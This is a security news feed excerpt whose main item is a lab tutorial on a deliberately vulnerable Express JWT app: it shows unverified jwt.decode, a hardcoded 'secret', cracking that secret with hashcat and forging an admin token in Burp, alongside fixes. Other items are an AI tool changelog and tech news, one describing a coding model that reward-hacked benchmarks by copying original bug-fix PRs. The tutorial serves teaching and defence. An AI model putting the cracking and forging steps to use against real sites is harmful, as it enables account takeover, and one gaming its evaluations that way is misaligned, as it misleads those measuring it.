    • Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired tool_use block left in the transcript when a tool aborted mid-response
    • Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in --ax-screen-reader mode
    • Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation
    • Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees
    • Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR
    • Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks
    • Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock
    • Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai
    • Fixed prompt history entries being dropped or duplicated when history writes raced or failed
    • Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; Ctrl+B backgrounding now applies the same background-shell caps as other paths
    • Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust
    • Fixed fork-session lineage being lost after compaction in headless and SDK sessions
    • Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment
    • Improved /ultrareview error feedback so Claude can correct an invalid argument instead of retrying it unchanged
    • Improved auto mode: the dangerous-rm, background-&, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead
    • Improved sandbox command restrictions for IDE interactions
    • Improved trust dialogs to name the repository root the grant covers
    • Changed /deep-research to start only when invoked manually; Claude no longer launches it on its own
    • Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead
    • Added an announcement when fast mode changes as a result of switching models via /config model=<x> or Remote Control
    • Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt
    • Changed agent markdown files to reject agent names containing :, which is reserved for plugin namespacing
    • Changed skills with context: fork to run in the background by default; opt out per skill with background: false
    • Added yes/no/on/off/1/0 (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside true/false
    • Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever
    ]]>         <![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]> https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/ https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/ Wed, 22 Jul 2026 20:59:45 +0200 🕵️ Hacking tsecurity.de

    In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.

    JWT As Security Measure

    JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..

    Let’s take this JWT as an example.

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30

    The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a strong password. Ideally that password is saved in a .env file on the server and not in the code.

    So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.

    Let’s Build The Lab Already

    You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.

    Lab Tree

    /mediumLabs
    └── /JWT
        ├── server.js
        ├── login.html
        ├── index.html
        ├── admin.html
        ├── /node_modules
        ├── /package-lock.json
        └── /package.json

    Code

    server.js

    const express = require('express');
    const jwt = require('jsonwebtoken');
    const path = require('path');
    const Database = require('better-sqlite3');
    const app = express();
    const JWT_SECRET = 'secret';
    const db = new Database(':memory:');
    db.exec(`
      CREATE TABLE users (
        id INTEGER PRIMARY KEY,
        username TEXT,
        password TEXT,
        role TEXT
      )
    `);
    db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();
    app.use(express.urlencoded({ extended: false }));

    app.get('/', (req, res) => res.sendFile(path.join(__dirname, 'login.html')));
    function getToken(req) {
      const match = (req.headers.cookie || '').match(/token=([^;]+)/);
      return match ? match[1] : null;
    }
    app.post('/login', (req, res) => {
      const { username, password } = req.body;
      const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);
      if (!user) return res.redirect('/?error=Invalid+credentials');
      const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);
      res.setHeader('Set-Cookie', `token=${token}; Path=/`);
      res.redirect('/index.html');
    });
    app.get('/index.html', (req, res) => {
      try {
        res.sendFile(path.join(__dirname, 'index.html'));
      } catch {
        res.redirect('/');
      }
    });
    app.get('/admin', (req, res) => {
    });

    app.listen(3000, () => console.log('Listening on http://localhost:3000'));

    login.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login</title>
    </head>
    <body>
        <h1>Login</h1>
        <form method="POST" action="/login">
            <div>
                <label>Username: <input type="text" name="username" required></label>
            </div>
            <div>
                <label>Password: <input type="password" name="password" required></label>
            </div>
            <button type="submit">Login</button>
        </form>
    </body>
    </html>

    index.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Home</title>
    </head>
    <body>
        <h1>Welcome!</h1>
        <p>You are logged in as <strong id="username"></strong>.</p>
        <p><a href="/admin">Go to Admin Panel</a></p>
        <br>
    <script>
            function getCookie(name) {
                return document.cookie.split('; ').find(r => r.startsWith(name + '='))?.split('=')[1];
            }
            function decodeJWT(token) {
                return JSON.parse(atob(token.split('.')[1]));
            }
            const token = getCookie('token');
            const payload = decodeJWT(token);
            document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';
        </script>
    </body>
    </html>

    admin.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Admin Panel</title>
    </head>
    <body id="page">
    <h1>Admin Panel</h1>
        <p>Welcome, admin. Here is the secret flag:</p>
        <p><strong>FLAG{JWT}</strong></p>
        <br>
        <a href="/index.html">Back to Home</a>
    </body>
        <script>
            function getCookie(name) {
                return document.cookie.split('; ').find(r => r.startsWith(name + '='))?.split('=')[1];
            }
            function decodeJWT(token) {
                return JSON.parse(atob(token.split('.')[1]));
            }
            const token = getCookie('token');
            const payload = decodeJWT(token);
            if (payload.role !== 'admin') {
                alert('Access denied. You need to be an admin to view this page.');
            }
        </script>
    </html>

    Let’s Add Some Vulnerabilities

    Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.

    In a very, very wrong way we already tried implementing security in admin.html. When you look inside the <script> tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.

    It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.

    So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.

    server.js

    app.get('/admin', (req, res) => {
      const token = getToken(req);
      if (!token) return res.redirect('/');
      const payload = jwt.decode(token);
      if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');
      res.sendFile(path.join(__dirname, 'admin.html'));
    });

    Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.

    Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.

    So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.

    That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.

    There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.

    So let’s update our code.

    server.js

    app.get('/admin', (req, res) => {
      try {
        const payload = jwt.verify(getToken(req), JWT_SECRET);
        if (payload.role !== 'admin') return res.status(403).send('Forbidden');
        res.sendFile(path.join(__dirname, 'admin.html'));
      } catch {
        res.redirect('/');
      }
    });

    If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.

    So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.

    For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.

    The complete command looks like this: hashcat -m 16500 -a 0 <JWT> rockyou.txt -d1.

    Don’t forget to use the untampered token for this!
    ➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1
    hashcat (v7.1.2) starting
    <skip>
    Dictionary cache hit:
    * Filename..: rockyou.txt
    * Passwords.: 14344384
    * Bytes.....: 139921497
    * Keyspace..: 14344384
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret
                                                              
    Session..........: hashcat
    Status...........: Cracked
    Hash.Mode........: 16500 (JWT (JSON Web Token))
    Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc

    As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.

    Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.

    In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.

    Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.

    And now, we have successfully evaded the security that was in place.

    Lessons We Should Learn About This

    As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET

    One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.

    I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.

    Two Ways To Mess Up Your JWT Safety Net In Your Own Lab. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[When Identity Verification Fails: Lessons from a Real-World SIM Swap and Near Account Takeover]]> https://tsecurity.de/de/3686608/it-security-nachrichten/when-identity-verification-fails-lessons-from-a-real-world-sim-swap-and-near-account-takeover/ https://tsecurity.de/de/3686608/it-security-nachrichten/when-identity-verification-fails-lessons-from-a-real-world-sim-swap-and-near-account-takeover/ Wed, 22 Jul 2026 16:09:57 +0200 📰 IT Security Nachrichten tsecurity.de Identity confidence changes throughout every interaction and should be reassessed continuously as new risk signals emerge.

    The post When Identity Verification Fails: Lessons from a Real-World SIM Swap and Near Account Takeover appeared first on SecurityWeek.

    ]]>         <![CDATA[When Identity Verification Fails: Lessons from a Real-World SIM Swap and Near Account Takeover]]> https://tsecurity.de/de/3686599/it-security-nachrichten/when-identity-verification-fails-lessons-from-a-real-world-sim-swap-and-near-account-takeover/ https://tsecurity.de/de/3686599/it-security-nachrichten/when-identity-verification-fails-lessons-from-a-real-world-sim-swap-and-near-account-takeover/ Wed, 22 Jul 2026 16:09:43 +0200 📰 IT Security Nachrichten tsecurity.de Identity confidence changes throughout every interaction and should be reassessed continuously as new risk signals emerge. The post When Identity Verification Fails: Lessons from a Real-World SIM Swap and Near Account Takeover appeared first on SecurityWeek. This article has been…

    Read more →

    The post When Identity Verification Fails: Lessons from a Real-World SIM Swap and Near Account Takeover appeared first on IT Security News.

    ]]>         <![CDATA[This $80 financial literacy bundle gives you lifetime access to 150+ money lessons]]> https://tsecurity.de/de/3686457/ios-mac-os/this-80-financial-literacy-bundle-gives-you-lifetime-access-to-150-money-lessons/ https://tsecurity.de/de/3686457/ios-mac-os/this-80-financial-literacy-bundle-gives-you-lifetime-access-to-150-money-lessons/ Wed, 22 Jul 2026 15:16:04 +0200 🍏 iOS / Mac OS tsecurity.de Illustration of a woman in a business clothing using a computer to access Prosper financial literacy course.

    The Prosper financial literacy course gives you lifetime access to courses, AI-powered coaching and weekly sessions with a veteran investor.

    (via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

    ]]>         <![CDATA[When AI Attacks and Defends: Lessons From the Hugging Face Hack]]> https://tsecurity.de/de/3686305/it-security-nachrichten/when-ai-attacks-and-defends-lessons-from-the-hugging-face-hack/ https://tsecurity.de/de/3686305/it-security-nachrichten/when-ai-attacks-and-defends-lessons-from-the-hugging-face-hack/ Wed, 22 Jul 2026 14:42:45 +0200 📰 IT Security Nachrichten tsecurity.de Hugging Face Hack

    There's a particular kind of cyber attack story that should make every board sit up straight. Not because of the size of the ransom or the number of records stolen, but because of what it signals about where we're heading.

    ]]>         <![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]> https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ Wed, 22 Jul 2026 11:11:54 +0200 📰 IT Security Nachrichten tsecurity.de

    Outsourcing worked – until it didn’t.

    After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.

    The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.

    Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.

    Building an internal engineering organization while still delivering

    One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.

    When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.

    Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.

    After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.

    At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.

    The next challenge was hiring.

    In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.

    During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.

    I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.

    Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.

    The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.

    Managing risk without slowing down the business

    The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.

    To reduce delivery risk, we approached the transition in layers.

    First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.

    Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.

    Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.

    Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.

    By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.

    A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.

    My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.

    The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.

    Lessons learned for CTOs considering insourcing

    Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.

    The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.

    Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.

    Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.

    The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]> https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ Wed, 22 Jul 2026 01:07:11 +0200 📰 IT Nachrichten tsecurity.de Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.

    The model, Laguna S 2.1, is a 118-billion-parameter Mixture-of-Experts (MoE) system that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are available immediately on Hugging Face under the permissive OpenMDW-1.1 license.

    The headline numbers are striking for a model this small. Poolside reports that Laguna S 2.1 scores 70.2% on Terminal-Bench 2.1, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of DeepSeek-V4-Pro-Max, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter Inkling, at 63.8; and Nvidia’s 550-billion-parameter Nemotron 3 Ultra, at 56.4. On SWE-Bench Multilingual, it posts 78.5%, and on SWE-Bench Pro's public dataset, 59.4%.

    Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.

    Why the West's open-weight AI gap has become a boardroom issue

    The release lands in the middle of an increasingly pointed debate about the provenance of open-weight AI. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. DeepSeek, Qwen, Kimi, GLM, MiniMax, and Tencent's Hunyuan line all feature prominently in Poolside's own comparison tables.

    Poolside's accompanying press release frames Laguna S 2.1 explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's gpt-oss-120b last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.

    Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a lengthy post on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.

    The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. 

    Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.

    How a sparse architecture makes enterprise AI agents affordable to run

    The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the Hugging Face model card — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.

    That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.

    The ecosystem support is unusually broad for day one. The model is live on Baseten's model library and Vercel's AI Gateway, with integrations across vLLM, SGLang, Ollama, and llama.cpp, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.

    Publishing every benchmark trajectory to counter AI's credibility crisis

    The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.

    This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.

    Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.

    What the disclosed limitations and benchmark fine print reveal

    Poolside deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts Terminal-Bench 2.1 from 60.4% to 70.2%, and DeepSWE from 16.5% to 40.4%, at substantially higher token cost.

    Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On DeepSWE, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like GPT-5.6 Sol, at 88.8 on Terminal-Bench 2.1, and Claude Fable 5, at 88.0, along with the 2.8-trillion-parameter open-weight Kimi K3, at 88.3, sit well above Laguna S 2.1.

    The deeper structural question is whether Poolside's "Model Factory" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.

    For technical decision makers, Laguna S 2.1 is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.

    Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.

    ]]>         <![CDATA[v2.1.217]]> https://tsecurity.de/de/3684903/downloads/v21217/ https://tsecurity.de/de/3684903/downloads/v21217/ Tue, 21 Jul 2026 23:48:16 +0200 💾 Downloads tsecurity.de What's changed
    • Added emoji shortcode autocomplete in the prompt input: type :heart: to insert ❤️, or :hea for suggestions — disable with the emojiCompletionEnabled setting
    • Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environment variable, instead of losing transcripts silently
    • Fixed a memory leak where truncated MCP tool outputs kept the full untruncated result in memory for the rest of the session
